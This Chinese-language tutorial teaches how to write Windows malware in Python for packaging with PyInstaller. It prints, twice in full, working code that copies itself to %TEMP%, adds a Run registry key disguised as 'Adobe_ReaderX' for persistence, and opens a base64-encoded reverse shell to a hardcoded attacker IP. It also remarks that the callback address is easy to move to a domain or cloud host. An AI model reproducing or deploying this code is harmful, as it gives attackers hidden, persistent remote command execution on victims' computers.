如何用Python和PyInstaller编写Windows恶意
本文主要展示的是通过使用python和PyInstaller来构建恶意软件的一些poc。
众所周知的,恶意软件多会对目标进行持续性的攻击。 学习Python中有不明白推荐加入交流群
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而这一点在windows上有很多方法可以实现,最常见的做法是修改以下注册表项:“SoftwareMicrosoftWindowsCurrentVersionRun”。以下是对利用python去复制程序到%TEMP%目录,然后对注册表进行修改使得这段代码可以在用户登录电脑时执行。
import sys, base64, os, socket, subprocess
from _winreg import *
def autorun(tempdir, fileName, run):
# Copy executable to %TEMP%:
os.system('copy %s %s'%(fileName, tempdir))
# Queries Windows registry for key values
# Appends autorun key to runkey array
key = OpenKey(HKEY_LOCAL_MACHINE, run)
runkey =[]
try:
i = 0
while True:
subkey = EnumValue(key, i)
runkey.append(subkey[0])
i += 1
except WindowsError:
pass
# Set autorun key:
if 'Adobe ReaderX' not in runkey:
try:
key= OpenKey(HKEY_LOCAL_MACHINE, run,0,KEY_ALL_ACCESS)
SetValueEx(key ,'Adobe_ReaderX',0,REG_SZ,r"%TEMP%mw.exe")
key.Close()
except WindowsError:
pass
在将代码放到 %TEMP%目录中并且设置了持续性之后,我们就可以执行下一部分代码,反向的壳。这里我利用了TrustedSec公布的python的反向shell,不过进行了一些修改—对网络流量进行Base64编码。
def shell():
#Base64 encoded reverse shell
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.56.1', int(443)))
s.send('[*] Connection Established!')
while 1:
data = s.recv(1024)
if data == "quit": break
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdout_value = proc.stdout.read() + proc.stderr.read()
encoded = base64.b64encode(stdout_value)
s.send(encoded)
#s.send(stdout_value)
s.close()
def main():
tempdir = '%TEMP%'
fileName = sys.argv[0]
run = "SoftwareMicrosoftWindowsCurrentVersionRun"
autorun(tempdir, fileName, run)
shell()
if __name__ == "__main__":
main()
现在当这个程序执行时,它将会打开一个反向shell返回到“攻击者”。在这种情况下“攻击者”只是脚本中硬编码的ip,但在一个域或者亚马逊云上却是非常简单轻松的。下图展示了程序在Windows主机上执行并连接到攻击者,你可以注意到这里的网络流量是base64编码的:
以下是完整的代码:
import sys, base64, os, socket, subprocess
from _winreg import *
def autorun(tempdir, fileName, run):
# Copy executable to %TEMP%:
os.system('copy %s %s'%(fileName, tempdir))
# Queries Windows registry for the autorun key value
# Stores the key values in runkey array
key = OpenKey(HKEY_LOCAL_MACHINE, run)
runkey =[]
try:
i = 0
while True:
subkey = EnumValue(key, i)
runkey.append(subkey[0])
i += 1
except WindowsError:
pass
# If the autorun key "Adobe ReaderX" isn't set this will set the key:
if 'Adobe ReaderX' not in runkey:
try:
key= OpenKey(HKEY_LOCAL_MACHINE, run,0,KEY_ALL_ACCESS)
SetValueEx(key ,'Adobe_ReaderX',0,REG_SZ,r"%TEMP%mw.exe")
key.Close()
except WindowsError:
pass
def shell():
#Base64 encoded reverse shell
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.56.1', int(443)))
s.send('[*] Connection Established!')
while 1:
data = s.recv(1024)
if data == "quit": break
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdout_value = proc.stdout.read() + proc.stderr.read()
encoded = base64.b64encode(stdout_value)
s.send(encoded)
#s.send(stdout_value)
s.close()
def main():
tempdir = '%TEMP%'
fileName = sys.argv[0]
run = "SoftwareMicrosoftWindowsCurrentVersionRun"
autorun(tempdir, fileName, run)
shell()
if __name__ == "__main__":
main()